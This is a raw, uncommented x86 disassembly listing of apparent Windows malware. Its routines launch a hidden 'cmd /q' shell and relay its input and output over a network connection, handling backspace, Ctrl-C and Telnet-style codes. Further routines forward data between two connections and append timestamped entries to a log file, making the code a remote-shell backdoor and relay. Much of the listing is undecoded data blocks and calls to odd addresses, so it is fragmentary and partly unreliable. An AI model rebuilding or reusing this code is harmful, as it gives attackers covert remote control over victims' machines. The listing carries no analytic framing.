		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2660C2Fh
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_443768[eax], ecx
		nop
		call	near ptr 26608ABh
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		call	near ptr 268086Bh
		nop
		push	eax
		push	offset unk_439D64
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D0874
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_439DA4
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D083C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 27903F3h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D0874
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 2415FFC0h, 6A004D08h, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4D08A415h, 8BF88B00h, 0C069C445h, 234h
		dd 6CB88953h, 8D004437h, 5750EC45h, 85015FFh, 0C085004Dh
		dd 121850Fh, 0A6A0000h,	4C15FF57h, 85004D08h, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 11EC68FFh, 0E8500043h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4D08B8h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 8B015FFh, 8D50004Dh,	0FFFD2C85h, 9E5068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 443764h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	26ED2AE8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 37748189h,	13740044h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 226ECB4h,	90EDEB90h
		dd 26F516E8h, 858D5002h, 0FFFFFD2Ch, 439E1468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 8BC15FFh, 75FF004Dh
		dd 2C858DC0h, 68FFFFFDh, 439DE0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 0EC32E856h, 5F90022Ch, 8B555B5Eh, 0D4EC81ECh, 8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	6CB68D5Fh, 89004437h, 0ACB8h
		dd 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh, 8D5350F8h
		dd 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh, 0C15FFFFh
		dd 85004D08h, 0FF1875C0h, 0BC15FF36h, 0FF004D08h, 0C7E80875h
		dd 59FFFF9Fh, 0EBAEE853h, 5390022Ch, 0FB30858Dh, 868FFFFh
		dd 50000004h, 15FF36FFh, 4D083Ch, 187FC085h, 15FF36FFh
		dd 4D08BCh, 0E80875FFh,	0FFFF9F96h, 0E8905359h,	22CEB7Ch
		dd 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h, 1FFFFFBh
		dd 1E0850Fh, 5D380000h,	8D7774BCh, 8D50BC45h, 0FFFB3885h
		dd 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h, 38858D50h
		dd 50FFFFFBh, 439F1868h, 3D52E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5DFFFFFBh
		dd 0A0A3E8h, 18C48300h,	0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 87415FFh, 36FF004Dh,	8BC15FFh, 75FF004Dh, 9F00E808h
		dd 5359FFFFh, 0EAE6E890h, 106A022Ch, 53E8458Dh,	0A06AE850h
		dd 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h, 0FB34858Bh
		dd 66AFFFFh, 66026A57h,	2E845C7h, 0EC458900h, 8A415FFh
		dd 0F88B004Dh, 75FFFF83h, 0B815FF5Dh, 50004D07h, 439ED868h
		dd 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h, 885053FFh
		dd 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h, 14C48300h
		dd 0FB30858Dh, 6A53FFFFh, 36FF5008h, 87415FFh, 36FF004Dh
		dd 8BC15FFh, 75FF004Dh,	9E68E808h, 5359FFFFh, 0EA4EE890h
		dd 458D022Ch, 50106AE8h, 0CC15FF57h, 83004D07h,	5D75FFF8h
		dd 7B815FFh, 6850004Dh,	439E94h, 3C4BE8h, 4006800h, 858D0000h
		dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh
		dd 9F9Ch, 8D14C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
		dd 4D087415h, 0FF36FF00h, 4D08BC15h, 875FF00h, 0FF9DF9E8h
		dd 0E85359FFh, 22CE9E0h, 4006890h, 858D0000h, 0FFFFFB38h
		dd 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85AFFFFh, 9F50h
		dd 8D0CC483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h,	4D087415h
		dd 5736FF00h, 39E8h, 57595900h,	8BC15FFh, 36FF004Dh, 8BC15FFh
		dd 75FF004Dh, 9D9CE808h, 5359FFFFh, 0E982E890h,	36FF022Ch
		dd 8BC15FFh, 75FF004Dh,	9D84E808h, 5359FFFFh, 2CE96BE8h
		db 2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4D080C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4D0710
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4D083C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0710
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D083C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4D08A415h, 83F08B00h, 5675FFFEh, 19068h, 15E89000h
		dd 390226E8h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Ch
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 415FF56h, 8D004D08h
		dd 46AEC45h, 57FB6A50h,	415FF56h, 8B004D08h, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 44376Ch, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 82415FFh
		dd 8966004Dh, 458DD645h, 50106AD4h, 0D85D8956h,	85015FFh
		dd 0F883004Dh, 681975FFh, 1388h, 0E74EE890h, 8DFF0226h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 0E8000001h, 226E71Ch, 858D5390h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Ch, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4D080C15h, 0FC08500h, 2398Eh
		dd 29D8A000h, 0CF8B0044h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 7FC15FFh, 75FF004Dh
		dd 0F84589C8h, 8B015FFh, 8D50004Dh, 0E850B045h,	9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4D088815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 439F84h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4D0888h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 6468FFFFh, 5000439Fh, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4D332C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 5868096Ah, 5600439Fh, 88815FFh
		dd 5D39004Dh, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4D08BC15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022CE4h
		dd 3E8h, 26E3FBE8h, 0E8579002h,	0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 279054Fh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2670A44h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_43A744 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43A714
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 7A815FFh, 4D8D004Dh,	513C6AB8h, 0F8458950h, 7C015FFh
		dd 0BB004Dh, 6A000002h,	0A9E89008h, 0FF0226E2h,	4D07A815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 7C015FFh
		dd 458D004Dh, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 43A774h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 9FAC0845h, 106A0043h, 6F815FFh, 0BF0F004Dh, 8458BF0h
		dd 57FC788Bh, 7F015FFh,	0C4F6004Dh, 6A7B7480h, 0F815FF14h
		dd 66004D06h, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 0F815FF14h, 66004D06h, 1E74C085h, 2E7DF685h,	7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4D07A815h, 0B84D8D00h
		dd 50513C6Ah, 7C015FFh,	458D004Dh, 858D50B8h, 0FFFFFD24h
		dd 0A75C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h
		dd 50FFFFFDh, 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h
		dd 4D07A8h, 6AB84D8Dh, 0FF50513Ch, 4D07C015h, 0B8458D00h
		dd 24858D50h, 50FFFFFDh, 43A74868h, 24858D00h, 50FFFFFBh
		dd 9959E8h, 84EC8100h, 8D000000h, 0FFFF24B5h, 24858DFFh
		dd 6AFFFFFBh, 0FC8B5925h, 0E8A5F350h, 0FFFFFCC7h, 53FC4589h
		dd 0FD24858Dh, 6AFFFFh,	9632E850h, 0C4810000h, 0A4h, 0FB24858Dh
		dd 6A53FFFFh, 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh
		dd 8458B07h, 5007C083h,	0FD24858Dh, 0E850FFFFh,	9F1Ch
		dd 45835959h, 7D811408h, 43A6DC08h, 278C0F00h, 83FFFFFEh
		dd 0F00FC7Dh, 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h
		dd 90006A59h, 2CE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 82415FFh,	0B5FF004Dh, 0FFFFFF4Ch,	0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4D086415h, 36A5600h,	4589026Ah
		dd 0A415FFE8h, 8B004D08h, 0FFFF83F8h, 75FC7D89h, 0B815FF5Dh
		dd 50004D07h, 0FD4C858Dh, 0E468FFFFh, 500043B0h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Ch, 69106AD0h,	234C0h
		dd 6CB88900h, 8D004437h, 5750E445h, 85015FFh, 0F883004Dh
		dd 0FF6475FFh, 4D07B815h, 858D5000h, 0FFFFFD4Ch, 43B0B868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0BC15FF57h, 0FF004D08h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022CDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4D07D015h, 0FFF88300h, 15FF6475h, 4D07B8h, 4C858D50h
		dd 68FFFFFDh, 43B088h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 8BC15FFh, 75FF004Dh, 9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Ch, 43A7A0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4D083Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 7C68FFFEh
		dd 500043B0h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 0B06C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 75415FFh, 0B70F004Dh, 75FF50C0h, 0B015FFF4h,	50004D08h
		dd 8B7F048Dh, 0A7B4C504h, 34FF0043h, 43A79085h,	4C858D00h
		dd 68FFFFFDh, 43B038h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 0B815FFFFh, 50004D07h
